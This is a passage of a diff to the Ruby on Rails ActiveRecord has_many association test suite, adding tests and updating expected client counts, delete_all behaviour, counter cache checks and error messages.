+  end
+
+  def test_has_many_build_with_options
+    college = College.create(name: 'UFMT')
+    Student.create(active: true, college_id: college.id, name: 'Sarah')
+
+    assert_equal college.students, Student.where(active: true, college_id: college.id)
+  end
+
   def test_create_from_association_should_respect_default_scope
     car = Car.create(:name => 'honda')
     assert_equal 'honda', car.name
@@ -62,6 +177,13 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
     assert_equal 'exotic', bulb.name
   end
 
+  def test_build_from_association_should_respect_scope
+    author = Author.new
+
+    post = author.thinking_posts.build
+    assert_equal 'So I was thinking', post.title
+  end
+
   def test_create_from_association_with_nil_values_should_work
     car = Car.create(:name => 'honda')
 
@@ -76,11 +198,36 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
   end
 
   def test_do_not_call_callbacks_for_delete_all
-    bulb_count = Bulb.count
     car = Car.create(:name => 'honda')
     car.funky_bulbs.create!
     assert_nothing_raised { car.reload.funky_bulbs.delete_all }
-    assert_equal bulb_count + 1, Bulb.count, "bulbs should have been deleted using :nullify strategey"
+    assert_equal 0, Bulb.count, "bulbs should have been deleted using :delete_all strategy"
+  end
+
+  def test_delete_all_on_association_is_the_same_as_not_loaded
+    author = authors :david
+    author.thinking_posts.create!(:body => "test")
+    author.reload
+    expected_sql = capture_sql { author.thinking_posts.delete_all }
+
+    author.thinking_posts.create!(:body => "test")
+    author.reload
+    author.thinking_posts.inspect
+    loaded_sql = capture_sql { author.thinking_posts.delete_all }
+    assert_equal(expected_sql, loaded_sql)
+  end
+
+  def test_delete_all_on_association_with_nil_dependency_is_the_same_as_not_loaded
+    author = authors :david
+    author.posts.create!(:title => "test", :body => "body")
+    author.reload
+    expected_sql = capture_sql { author.posts.delete_all }
+
+    author.posts.create!(:title => "test", :body => "body")
+    author.reload
+    author.posts.to_a
+    loaded_sql = capture_sql { author.posts.delete_all }
+    assert_equal(expected_sql, loaded_sql)
   end
 
   def test_building_the_associated_object_with_implicit_sti_base_class
@@ -169,16 +316,16 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
   # would be convenient), because this would cause that scope to be applied to any callbacks etc.
   def test_build_and_create_should_not_happen_within_scope
     car = cars(:honda)
-    scoped_count = car.foo_bulbs.where_values.count
+    scope = car.foo_bulbs.where_values_hash
 
     bulb = car.foo_bulbs.build
-    assert_not_equal scoped_count, bulb.scope_after_initialize.where_values.count
+    assert_not_equal scope, bulb.scope_after_initialize.where_values_hash
 
     bulb = car.foo_bulbs.create
-    assert_not_equal scoped_count, bulb.scope_after_initialize.where_values.count
+    assert_not_equal scope, bulb.scope_after_initialize.where_values_hash
 
     bulb = car.foo_bulbs.create!
-    assert_not_equal scoped_count, bulb.scope_after_initialize.where_values.count
+    assert_not_equal scope, bulb.scope_after_initialize.where_values_hash
   end
 
   def test_no_sql_should_be_fired_if_association_already_loaded
@@ -192,6 +339,31 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
     end
 
     assert_no_queries do
+      bulbs.second()
+      bulbs.second({})
+    end
+
+    assert_no_queries do
+      bulbs.third()
+      bulbs.third({})
+    end
+
+    assert_no_queries do
+      bulbs.fourth()
+      bulbs.fourth({})
+    end
+
+    assert_no_queries do
+      bulbs.fifth()
+      bulbs.fifth({})
+    end
+
+    assert_no_queries do
+      bulbs.forty_two()
+      bulbs.forty_two({})
+    end
+
+    assert_no_queries do
       bulbs.last()
       bulbs.last({})
     end
@@ -218,11 +390,11 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
 
   # sometimes tests on Oracle fail if ORDER BY is not provided therefore add always :order with :first
   def test_counting_with_counter_sql
-    assert_equal 2, Firm.all.merge!(:order => "id").first.clients.count
+    assert_equal 3, Firm.all.merge!(:order => "id").first.clients.count
   end
 
   def test_counting
-    assert_equal 2, Firm.all.merge!(:order => "id").first.plain_clients.count
+    assert_equal 3, Firm.all.merge!(:order => "id").first.plain_clients.count
   end
 
   def test_counting_with_single_hash
@@ -230,7 +402,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
   end
 
   def test_counting_with_column_name_and_hash
-    assert_equal 2, Firm.all.merge!(:order => "id").first.plain_clients.count(:name)
+    assert_equal 3, Firm.all.merge!(:order => "id").first.plain_clients.count(:name)
   end
 
   def test_counting_with_association_limit
@@ -240,17 +412,17 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
   end
 
   def test_finding
-    assert_equal 2, Firm.all.merge!(:order => "id").first.clients.length
+    assert_equal 3, Firm.all.merge!(:order => "id").first.clients.length
   end
 
   def test_finding_array_compatibility
-    assert_equal 2, Firm.order(:id).find{|f| f.id > 0}.clients.length
+    assert_equal 3, Firm.order(:id).find{|f| f.id > 0}.clients.length
   end
 
   def test_find_many_with_merged_options
     assert_equal 1, companies(:first_firm).limited_clients.size
     assert_equal 1, companies(:first_firm).limited_clients.to_a.size
-    assert_equal 2, companies(:first_firm).limited_clients.limit(nil).to_a.size
+    assert_equal 3, companies(:first_firm).limited_clients.limit(nil).to_a.size
   end
 
   def test_find_should_append_to_association_order
@@ -259,8 +431,8 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
   end
 
   def test_dynamic_find_should_respect_association_order
-    assert_equal companies(:second_client), companies(:first_firm).clients_sorted_desc.where("type = 'Client'").first
-    assert_equal companies(:second_client), companies(:first_firm).clients_sorted_desc.find_by_type('Client')
+    assert_equal companies(:another_first_firm_client), companies(:first_firm).clients_sorted_desc.where("type = 'Client'").first
+    assert_equal companies(:another_first_firm_client), companies(:first_firm).clients_sorted_desc.find_by_type('Client')
   end
 
   def test_cant_save_has_many_readonly_association
@@ -273,7 +445,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
   end
 
   def test_finding_with_different_class_name_and_order
-    assert_equal "Microsoft", Firm.all.merge!(:order => "id").first.clients_sorted_desc.first.name
+    assert_equal "Apex", Firm.all.merge!(:order => "id").first.clients_sorted_desc.first.name
   end
 
   def test_finding_with_foreign_key
@@ -292,11 +464,16 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
     assert_equal "Summit", Firm.all.merge!(:order => "id").first.clients_using_primary_key.first.name
   end
 
+  def test_update_all_on_association_accessed_before_save
+    firm = Firm.new(name: 'Firm')
+    firm.clients << Client.first
+    firm.save!
+    assert_equal firm.clients.count, firm.clients.update_all(description: 'Great!')
+  end
+
   def test_belongs_to_sanity
     c = Client.new
-    assert_nil c.firm
-
-    flunk "belongs_to failed if check" if c.firm
+    assert_nil c.firm, "belongs_to failed sanity check on new object"
   end
 
   def test_find_ids
@@ -319,9 +496,21 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
     assert_raise(ActiveRecord::RecordNotFound) { firm.clients.find(2, 99) }
   end
 
+  def test_find_ids_and_inverse_of
+    force_signal37_to_load_all_clients_of_firm
+
+    firm = companies(:first_firm)
+    client = firm.clients_of_firm.find(3)
+    assert_kind_of Client, client
+
+    client_ary = firm.clients_of_firm.find([3])
+    assert_kind_of Array, client_ary
+    assert_equal client, client_ary.first
+  end
+
   def test_find_all
     firm = Firm.all.merge!(:order => "id").first
-    assert_equal 2, firm.clients.where("#{QUOTED_TYPE} = 'Client'").to_a.length
+    assert_equal 3, firm.clients.where("#{QUOTED_TYPE} = 'Client'").to_a.length
     assert_equal 1, firm.clients.where("name = 'Summit'").to_a.length
   end
 
@@ -330,7 +519,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
 
     assert ! firm.clients.loaded?
 
-    assert_queries(3) do
+    assert_queries(4) do
       firm.clients.find_each(:batch_size => 1) {|c| assert_equal firm.id, c.firm_id }
     end
 
@@ -400,15 +589,15 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
   def test_find_grouped
     all_clients_of_firm1 = Client.all.merge!(:where => "firm_id = 1").to_a
     grouped_clients_of_firm1 = Client.all.merge!(:where => "firm_id = 1", :group => "firm_id", :select => 'firm_id, count(id) as clients_count').to_a
-    assert_equal 2, all_clients_of_firm1.size
+    assert_equal 3, all_clients_of_firm1.size
     assert_equal 1, grouped_clients_of_firm1.size
   end
 
   def test_find_scoped_grouped
     assert_equal 1, companies(:first_firm).clients_grouped_by_firm_id.size
     assert_equal 1, companies(:first_firm).clients_grouped_by_firm_id.length
-    assert_equal 2, companies(:first_firm).clients_grouped_by_name.size
-    assert_equal 2, companies(:first_firm).clients_grouped_by_name.length
+    assert_equal 3, companies(:first_firm).clients_grouped_by_name.size
+    assert_equal 3, companies(:first_firm).clients_grouped_by_name.length
   end
 
   def test_find_scoped_grouped_having
@@ -421,38 +610,50 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
   end
 
   def test_select_query_method
-    assert_equal ['id'], posts(:welcome).comments.select(:id).first.attributes.keys
+    assert_equal ['id', 'body'], posts(:welcome).comments.select(:id, :body).first.attributes.keys
+  end
+
+  def test_select_with_block
+    assert_equal [1], posts(:welcome).comments.select { |c| c.id == 1 }.map(&:id)
+  end
+
+  def test_select_without_foreign_key
+    assert_equal companies(:first_firm).accounts.first.credit_limit, companies(:first_firm).accounts.select(:credit_limit).first.credit_limit
   end
 
   def test_adding
     force_signal37_to_load_all_clients_of_firm
     natural = Client.new("name" => "Natural Company")
     companies(:first_firm).clients_of_firm << natural
-    assert_equal 2, companies(:first_firm).clients_of_firm.size # checking via the collection
-    assert_equal 2, companies(:first_firm).clients_of_firm(true).size # checking using the db
+    assert_equal 3, companies(:first_firm).clients_of_firm.size # checking via the collection
+    assert_equal 3, companies(:first_firm).clients_of_firm(true).size # checking using the db
     assert_equal natural, companies(:first_firm).clients_of_firm.last
   end
 
   def test_adding_using_create
     first_firm = companies(:first_firm)
-    assert_equal 2, first_firm.plain_clients.size
-    first_firm.plain_clients.create(:name => "Natural Company")
-    assert_equal 3, first_firm.plain_clients.length
     assert_equal 3, first_firm.plain_clients.size
+    first_firm.plain_clients.create(:name => "Natural Company")
+    assert_equal 4, first_firm.plain_clients.length
+    assert_equal 4, first_firm.plain_clients.size
   end
 
   def test_create_with_bang_on_has_many_when_parent_is_new_raises
-    assert_raise(ActiveRecord::RecordNotSaved) do
+    error = assert_raise(ActiveRecord::RecordNotSaved) do
       firm = Firm.new
       firm.plain_clients.create! :name=>"Whoever"
     end
+
+    assert_equal "You cannot call create unless the parent is saved", error.message
   end
 
   def test_regular_create_on_has_many_when_parent_is_new_raises
-    assert_raise(ActiveRecord::RecordNotSaved) do
+    error = assert_raise(ActiveRecord::RecordNotSaved) do
       firm = Firm.new
       firm.plain_clients.create :name=>"Whoever"
     end
+
+    assert_equal "You cannot call create unless the parent is saved", error.message
   end
 
   def test_create_with_bang_on_has_many_raises_when_record_not_saved
@@ -463,9 +664,11 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
   end
 
   def test_create_with_bang_on_habtm_when_parent_is_new_raises
-    assert_raise(ActiveRecord::RecordNotSaved) do
+    error = assert_raise(ActiveRecord::RecordNotSaved) do
       Developer.new("name" => "Aredridel").projects.create!
     end
+
+    assert_equal "You cannot call create unless the parent is saved", error.message
   end
 
   def test_adding_a_mismatch_class
@@ -477,8 +680,8 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
   def test_adding_a_collection
     force_signal37_to_load_all_clients_of_firm
     companies(:first_firm).clients_of_firm.concat([Client.new("name" => "Natural Company"), Client.new("name" => "Apple")])
-    assert_equal 3, companies(:first_firm).clients_of_firm.size
-    assert_equal 3, companies(:first_firm).clients_of_firm(true).size
+    assert_equal 4, companies(:first_firm).clients_of_firm.size
+    assert_equal 4, companies(:first_firm).clients_of_firm(true).size
   end
 
   def test_transactions_when_adding_to_persisted
@@ -494,15 +697,22 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
   end
 
   def test_transactions_when_adding_to_new_record
-    assert_no_queries do
+    assert_no_queries(ignore_none: false) do
       firm = Firm.new
       firm.clients_of_firm.concat(Client.new("name" => "Natural Company"))
     end
   end
 
+  def test_inverse_on_before_validate
+    firm = companies(:first_firm)
+    assert_queries(1) do
+      firm.clients_of_firm << Client.new("name" => "Natural Company")
+    end
+  end
+
   def test_new_aliased_to_build
     company = companies(:first_firm)
-    new_client = assert_no_queries { company.clients_of_firm.new("name" => "Another Client") }
+    new_client = assert_no_queries(ignore_none: false) { company.clients_of_firm.new("name" => "Another Client") }
     assert !company.clients_of_firm.loaded?
 
     assert_equal "Another Client", new_client.name
@@ -512,7 +722,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
 
   def test_build
     company = companies(:first_firm)
-    new_client = assert_no_queries { company.clients_of_firm.build("name" => "Another Client") }
+    new_client = assert_no_queries(ignore_none: false) { company.clients_of_firm.build("name" => "Another Client") }
     assert !company.clients_of_firm.loaded?
 
     assert_equal "Another Client", new_client.name
@@ -524,7 +734,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
     company = companies(:first_firm)  # company already has one client
     company.clients_of_firm.build("name" => "Another Client")
     company.clients_of_firm.build("name" => "Yet Another Client")
-    assert_equal 3, company.clients_of_firm.size
+    assert_equal 4, company.clients_of_firm.size
   end
 
   def test_collection_not_empty_after_building
@@ -548,7 +758,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
 
   def test_build_many
     company = companies(:first_firm)
-    new_clients = assert_no_queries { company.clients_of_firm.build([{"name" => "Another Client"}, {"name" => "Another Client II"}]) }
+    new_clients = assert_no_queries(ignore_none: false) { company.clients_of_firm.build([{"name" => "Another Client"}, {"name" => "Another Client II"}]) }
     assert_equal 2, new_clients.size
   end
 
@@ -574,7 +784,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
 
   def test_build_via_block
     company = companies(:first_firm)
-    new_client = assert_no_queries { company.clients_of_firm.build {|client| client.name = "Another Client" } }
+    new_client = assert_no_queries(ignore_none: false) { company.clients_of_firm.build {|client| client.name = "Another Client" } }
     assert !company.clients_of_firm.loaded?
 
     assert_equal "Another Client", new_client.name
@@ -584,7 +794,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
 
   def test_build_many_via_block
     company = companies(:first_firm)
-    new_clients = assert_no_queries do
+    new_clients = assert_no_queries(ignore_none: false) do
       company.clients_of_firm.build([{"name" => "Another Client"}, {"name" => "Another Client II"}]) do |client|
         client.name = "changed"
       end
@@ -600,14 +810,14 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
     Firm.column_names
     Client.column_names
 
-    assert_equal 1, first_firm.clients_of_firm.size
+    assert_equal 2, first_firm.clients_of_firm.size
     first_firm.clients_of_firm.reset
 
     assert_queries(1) do
       first_firm.clients_of_firm.create(:name => "Superstars")
     end
 
-    assert_equal 2, first_firm.clients_of_firm.size
+    assert_equal 3, first_firm.clients_of_firm.size
   end
 
   def test_create
@@ -620,7 +830,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
 
   def test_create_many
     companies(:first_firm).clients_of_firm.create([{"name" => "Another Client"}, {"name" => "Another Client II"}])
-    assert_equal 3, companies(:first_firm).clients_of_firm(true).size
+    assert_equal 4, companies(:first_firm).clients_of_firm(true).size
   end
 
   def test_create_followed_by_save_does_not_load_target
@@ -632,8 +842,8 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
   def test_deleting
     force_signal37_to_load_all_clients_of_firm
     companies(:first_firm).clients_of_firm.delete(companies(:first_firm).clients_of_firm.first)
-    assert_equal 0, companies(:first_firm).clients_of_firm.size
-    assert_equal 0, companies(:first_firm).clients_of_firm(true).size
+    assert_equal 1, companies(:first_firm).clients_of_firm.size
+    assert_equal 1, companies(:first_firm).clients_of_firm(true).size
   end
 
   def test_deleting_before_save
@@ -653,6 +863,36 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
     assert_equal topic.replies.to_a.size, topic.replies_count
   end
 
+  def test_counter_cache_updates_in_memory_after_concat
+    topic = Topic.create title: "Zoom-zoom-zoom"
+
+    topic.replies << Reply.create(title: "re: zoom", content: "speedy quick!")
+    assert_equal 1, topic.replies_count
+    assert_equal 1, topic.replies.size
+    assert_equal 1, topic.reload.replies.size
+  end
+
+  def test_counter_cache_updates_in_memory_after_create
+    topic = Topic.create title: "Zoom-zoom-zoom"
+
+    topic.replies.create!(title: "re: zoom", content: "speedy quick!")
+    assert_equal 1, topic.replies_count
+    assert_equal 1, topic.replies.size
+    assert_equal 1, topic.reload.replies.size
+  end
+
+  def test_counter_cache_updates_in_memory_after_create_with_array
+    topic = Topic.create title: "Zoom-zoom-zoom"
+
+    topic.replies.create!([
+      { title: "re: zoom", content: "speedy quick!" },
+      { title: "re: zoom 2", content: "OMG lol!" },
+    ])
+    assert_equal 2, topic.replies_count
+    assert_equal 2, topic.replies.size
+    assert_equal 2, topic.reload.replies.size
+  end
+
   def test_pushing_association_updates_counter_cache
     topic = Topic.order("id ASC").first
     reply = Reply.create!
@@ -665,14 +905,14 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
   def test_deleting_updates_counter_cache_without_dependent_option
     post = posts(:welcome)
 
-    assert_difference "post.reload.taggings_count", -1 do
+    assert_difference "post.reload.tags_count", -1 do
       post.taggings.delete(post.taggings.first)
     end
   end
 
   def test_deleting_updates_counter_cache_with_dependent_delete_all
     post = posts(:welcome)
-    post.update_columns(taggings_with_delete_all_count: post.taggings_count)
+    post.update_columns(taggings_with_delete_all_count: post.tags_count)
 
     assert_difference "post.reload.taggings_with_delete_all_count", -1 do
       post.taggings_with_delete_all.delete(post.taggings_with_delete_all.first)
@@ -681,13 +921,20 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
 
   def test_deleting_updates_counter_cache_with_dependent_destroy
     post = posts(:welcome)
-    post.update_columns(taggings_with_destroy_count: post.taggings_count)
+    post.update_columns(taggings_with_destroy_count: post.tags_count)
 
     assert_difference "post.reload.taggings_with_destroy_count", -1 do
       post.taggings_with_destroy.delete(post.taggings_with_destroy.first)
     end
   end
 
+  def test_calling_empty_with_counter_cache
+    post = posts(:welcome)
+    assert_queries(0) do
+      assert_not post.comments.empty?
+    end
+  end
+
   def test_custom_named_counter_cache
     topic = topics(:first)
 
@@ -730,27 +977,27 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
   def test_deleting_a_collection
     force_signal37_to_load_all_clients_of_firm
     companies(:first_firm).clients_of_firm.create("name" => "Another Client")
-    assert_equal 2, companies(:first_firm).clients_of_firm.size
-    companies(:first_firm).clients_of_firm.delete([companies(:first_firm).clients_of_firm[0], companies(:first_firm).clients_of_firm[1]])
+    assert_equal 3, companies(:first_firm).clients_of_firm.size
+    companies(:first_firm).clients_of_firm.delete([companies(:first_firm).clients_of_firm[0], companies(:first_firm).clients_of_firm[1], companies(:first_firm).clients_of_firm[2]])
     assert_equal 0, companies(:first_firm).clients_of_firm.size
     assert_equal 0, companies(:first_firm).clients_of_firm(true).size
   end
 
   def test_delete_all
     force_signal37_to_load_all_clients_of_firm
-    companies(:first_firm).clients_of_firm.create("name" => "Another Client")
-    clients = companies(:first_firm).clients_of_firm.to_a
-    assert_equal 2, clients.count
-    deleted = companies(:first_firm).clients_of_firm.delete_all
-    assert_equal clients.sort_by(&:id), deleted.sort_by(&:id)
-    assert_equal 0, companies(:first_firm).clients_of_firm.size
-    assert_equal 0, companies(:first_firm).clients_of_firm(true).size
+    companies(:first_firm).dependent_clients_of_firm.create("name" => "Another Client")
+    clients = companies(:first_firm).dependent_clients_of_firm.to_a
+    assert_equal 3, clients.count
+
+    assert_difference "Client.count", -(clients.count) do
+      companies(:first_firm).dependent_clients_of_firm.delete_all
+    end
   end
 
   def test_delete_all_with_not_yet_loaded_association_collection
     force_signal37_to_load_all_clients_of_firm
     companies(:first_firm).clients_of_firm.create("name" => "Another Client")
-    assert_equal 2, companies(:first_firm).clients_of_firm.size
+    assert_equal 3, companies(:first_firm).clients_of_firm.size
     companies(:first_firm).clients_of_firm.reset
     companies(:first_firm).clients_of_firm.delete_all
     assert_equal 0, companies(:first_firm).clients_of_firm.size
@@ -772,7 +1019,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
   end
 
   def test_transaction_when_deleting_new_record
-    assert_no_queries do
+    assert_no_queries(ignore_none: false) do
       firm = Firm.new
       client = Client.new("name" => "New Client")
       firm.clients_of_firm << client
@@ -783,7 +1030,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
   def test_clearing_an_association_collection
     firm = companies(:first_firm)
     client_id = firm.clients_of_firm.first.id
-    assert_equal 1, firm.clients_of_firm.size
+    assert_equal 2, firm.clients_of_firm.size
 
     firm.clients_of_firm.clear
 
@@ -817,10 +1064,10 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
   def test_clearing_a_dependent_association_collection
     firm = companies(:first_firm)
     client_id = firm.dependent_clients_of_firm.first.id
-    assert_equal 1, firm.dependent_clients_of_firm.size
+    assert_equal 2, firm.dependent_clients_of_firm.size
     assert_equal 1, Client.find_by_id(client_id).client_of
 
-    # :nullify is called on each client
+    # :delete_all is called on each client since the dependent options is :destroy
     firm.dependent_clients_of_firm.clear
 
     assert_equal 0, firm.dependent_clients_of_firm.size
@@ -828,7 +1075,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
     assert_equal [], Client.destroyed_client_ids[firm.id]
 
     # Should be destroyed since the association is dependent.
-    assert_nil Client.find_by_id(client_id).client_of
+    assert_nil Client.find_by_id(client_id)
   end
 
   def test_delete_all_with_option_delete_all
@@ -848,7 +1095,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
   def test_clearing_an_exclusively_dependent_association_collection
     firm = companies(:first_firm)
     client_id = firm.exclusively_dependent_clients_of_firm.first.id
-    assert_equal 1, firm.exclusively_dependent_clients_of_firm.size
+    assert_equal 2, firm.exclusively_dependent_clients_of_firm.size
 
     assert_equal [], Client.destroyed_client_ids[firm.id]
 
@@ -904,10 +1151,10 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
   def test_delete_all_association_with_primary_key_deletes_correct_records
     firm = Firm.first
     # break the vanilla firm_id foreign key
-    assert_equal 2, firm.clients.count
+    assert_equal 3, firm.clients.count
     firm.clients.first.update_columns(firm_id: nil)
-    assert_equal 1, firm.clients(true).count
-    assert_equal 1, firm.clients_using_primary_key_with_delete_all.count
+    assert_equal 2, firm.clients(true).count
+    assert_equal 2, firm.clients_using_primary_key_with_delete_all.count
     old_record = firm.clients_using_primary_key_with_delete_all.first
     firm = Firm.first
     firm.destroy
@@ -939,8 +1186,8 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
     force_signal37_to_load_all_clients_of_firm
     summit = Client.find_by_name('Summit')
     companies(:first_firm).clients_of_firm.delete(summit)
-    assert_equal 1, companies(:first_firm).clients_of_firm.size
-    assert_equal 1, companies(:first_firm).clients_of_firm(true).size
+    assert_equal 2, companies(:first_firm).clients_of_firm.size
+    assert_equal 2, companies(:first_firm).clients_of_firm(true).size
     assert_equal 2, summit.client_of
   end
 
@@ -977,8 +1224,8 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
       companies(:first_firm).clients_of_firm.destroy(companies(:first_firm).clients_of_firm.first)
     end
 
-    assert_equal 0, companies(:first_firm).reload.clients_of_firm.size
-    assert_equal 0, companies(:first_firm).clients_of_firm(true).size
+    assert_equal 1, companies(:first_firm).reload.clients_of_firm.size
+    assert_equal 1, companies(:first_firm).clients_of_firm(true).size
   end
 
   def test_destroying_by_fixnum_id
@@ -988,8 +1235,8 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
       companies(:first_firm).clients_of_firm.destroy(companies(:first_firm).clients_of_firm.first.id)
     end
 
-    assert_equal 0, companies(:first_firm).reload.clients_of_firm.size
-    assert_equal 0, companies(:first_firm).clients_of_firm(true).size
+    assert_equal 1, companies(:first_firm).reload.clients_of_firm.size
+    assert_equal 1, companies(:first_firm).clients_of_firm(true).size
   end
 
   def test_destroying_by_string_id
@@ -999,21 +1246,21 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
       companies(:first_firm).clients_of_firm.destroy(companies(:first_firm).clients_of_firm.first.id.to_s)
     end
 
-    assert_equal 0, companies(:first_firm).reload.clients_of_firm.size
-    assert_equal 0, companies(:first_firm).clients_of_firm(true).size
+    assert_equal 1, companies(:first_firm).reload.clients_of_firm.size
+    assert_equal 1, companies(:first_firm).clients_of_firm(true).size
   end
 
   def test_destroying_a_collection
     force_signal37_to_load_all_clients_of_firm
     companies(:first_firm).clients_of_firm.create("name" => "Another Client")
-    assert_equal 2, companies(:first_firm).clients_of_firm.size
+    assert_equal 3, companies(:first_firm).clients_of_firm.size
 
     assert_difference "Client.count", -2 do
       companies(:first_firm).clients_of_firm.destroy([companies(:first_firm).clients_of_firm[0], companies(:first_firm).clients_of_firm[1]])
     end
 
-    assert_equal 0, companies(:first_firm).reload.clients_of_firm.size
-    assert_equal 0, companies(:first_firm).clients_of_firm(true).size
+    assert_equal 1, companies(:first_firm).reload.clients_of_firm.size
+    assert_equal 1, companies(:first_firm).clients_of_firm(true).size
   end
 
   def test_destroy_all
@@ -1022,14 +1269,14 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
     assert !clients.empty?, "37signals has clients after load"
     destroyed = companies(:first_firm).clients_of_firm.destroy_all
     assert_equal clients.sort_by(&:id), destroyed.sort_by(&:id)
-    assert destroyed.all? { |client| client.frozen? }, "destroyed clients should be frozen"
+    assert destroyed.all?(&:frozen?), "destroyed clients should be frozen"
     assert companies(:first_firm).clients_of_firm.empty?, "37signals has no clients after destroy all"
     assert companies(:first_firm).clients_of_firm(true).empty?, "37signals has no clients after destroy all and refresh"
   end
 
   def test_dependence
     firm = companies(:first_firm)
-    assert_equal 2, firm.clients.size
+    assert_equal 3, firm.clients.size
     firm.destroy
     assert Client.all.merge!(:where => "firm_id=#{firm.id}").to_a.empty?
   end
@@ -1042,14 +1289,14 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
   def test_destroy_dependent_when_deleted_from_association
     # sometimes tests on Oracle fail if ORDER BY is not provided therefore add always :order with :first
     firm = Firm.all.merge!(:order => "id").first
-    assert_equal 2, firm.clients.size
+    assert_equal 3, firm.clients.size
 
     client = firm.clients.first
     firm.clients.delete(client)
 
     assert_raise(ActiveRecord::RecordNotFound) { Client.find(client.id) }
     assert_raise(ActiveRecord::RecordNotFound) { firm.clients.find(client.id) }
-    assert_equal 1, firm.clients.size
+    assert_equal 2, firm.clients.size
   end
 
   def test_three_levels_of_dependence
@@ -1060,16 +1307,15 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
     assert_nothing_raised { topic.destroy }
   end
 
-  uses_transaction :test_dependence_with_transaction_support_on_failure
   def test_dependence_with_transaction_support_on_failure
     firm = companies(:first_firm)
     clients = firm.clients
-    assert_equal 2, clients.length
+    assert_equal 3, clients.length
     clients.last.instance_eval { def overwrite_to_raise() raise "Trigger rollback" end }
 
     firm.destroy rescue "do nothing"
 
-    assert_equal 2, Client.all.merge!(:where => "firm_id=#{firm.id}").to_a.size
+    assert_equal 3, Client.all.merge!(:where => "firm_id=#{firm.id}").to_a.size
   end
 
   def test_dependence_on_account
@@ -1162,10 +1408,23 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
 
     assert !account.valid?
     assert !orig_accounts.empty?
-    assert_raise ActiveRecord::RecordNotSaved do
+    error = assert_raise ActiveRecord::RecordNotSaved do
       firm.accounts = [account]
     end
+
     assert_equal orig_accounts, firm.accounts
+    assert_equal "Failed to replace accounts because one or more of the " \
+                 "new records could not be saved.", error.message
+  end
+
+  def test_replace_with_same_content
+    firm = Firm.first
+    firm.clients = []
+    firm.save
+
+    assert_queries(0, ignore_none: true) do
+      firm.clients = []
+    end
   end
 
   def test_transactions_when_replacing_on_persisted
@@ -1183,14 +1442,14 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
   end
 
   def test_transactions_when_replacing_on_new_record
-    assert_no_queries do
+    assert_no_queries(ignore_none: false) do
       firm = Firm.new
       firm.clients_of_firm = [Client.new("name" => "New Client")]
     end
   end
 
   def test_get_ids
-    assert_equal [companies(:first_client).id, companies(:second_client).id], companies(:first_firm).client_ids
+    assert_equal [companies(:first_client).id, companies(:second_client).id, companies(:another_first_firm_client).id], companies(:first_firm).client_ids
   end
 
   def test_get_ids_for_loaded_associations
@@ -1205,7 +1464,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
   def test_get_ids_for_unloaded_associations_does_not_load_them
     company = companies(:first_firm)
     assert !company.clients.loaded?
-    assert_equal [companies(:first_client).id, companies(:second_client).id], company.client_ids
+    assert_equal [companies(:first_client).id, companies(:second_client).id, companies(:another_first_firm_client).id], company.client_ids
     assert !company.clients.loaded?
   end
 
@@ -1214,7 +1473,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
   end
 
   def test_get_ids_for_ordered_association
-    assert_equal [companies(:second_client).id, companies(:first_client).id], companies(:first_firm).clients_ordered_by_name_ids
+    assert_equal [companies(:another_first_firm_client).id, companies(:second_client).id, companies(:first_client).id], companies(:first_firm).clients_ordered_by_name_ids
   end
 
   def test_get_ids_for_association_on_new_record_does_not_try_to_find_records
@@ -1308,9 +1567,10 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
     assert_equal false, firm.clients.include?(client)
   end
 
-  def test_calling_first_or_last_on_association_should_not_load_association
+  def test_calling_first_nth_or_last_on_association_should_not_load_association
     firm = companies(:first_firm)
     firm.clients.first
+    firm.clients.second
     firm.clients.last
     assert !firm.clients.loaded?
   end
@@ -1320,7 +1580,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
     firm.clients.load_target
     assert firm.clients.loaded?
 
-    assert_no_queries do
+    assert_no_queries(ignore_none: false) do
       firm.clients.first
       assert_equal 2, firm.clients.first(2).size
       firm.clients.last
@@ -1335,76 +1595,48 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
 
     assert_queries 1 do
       firm.clients.first
+      firm.clients.second
       firm.clients.last
     end
 
     assert firm.clients.loaded?
   end
 
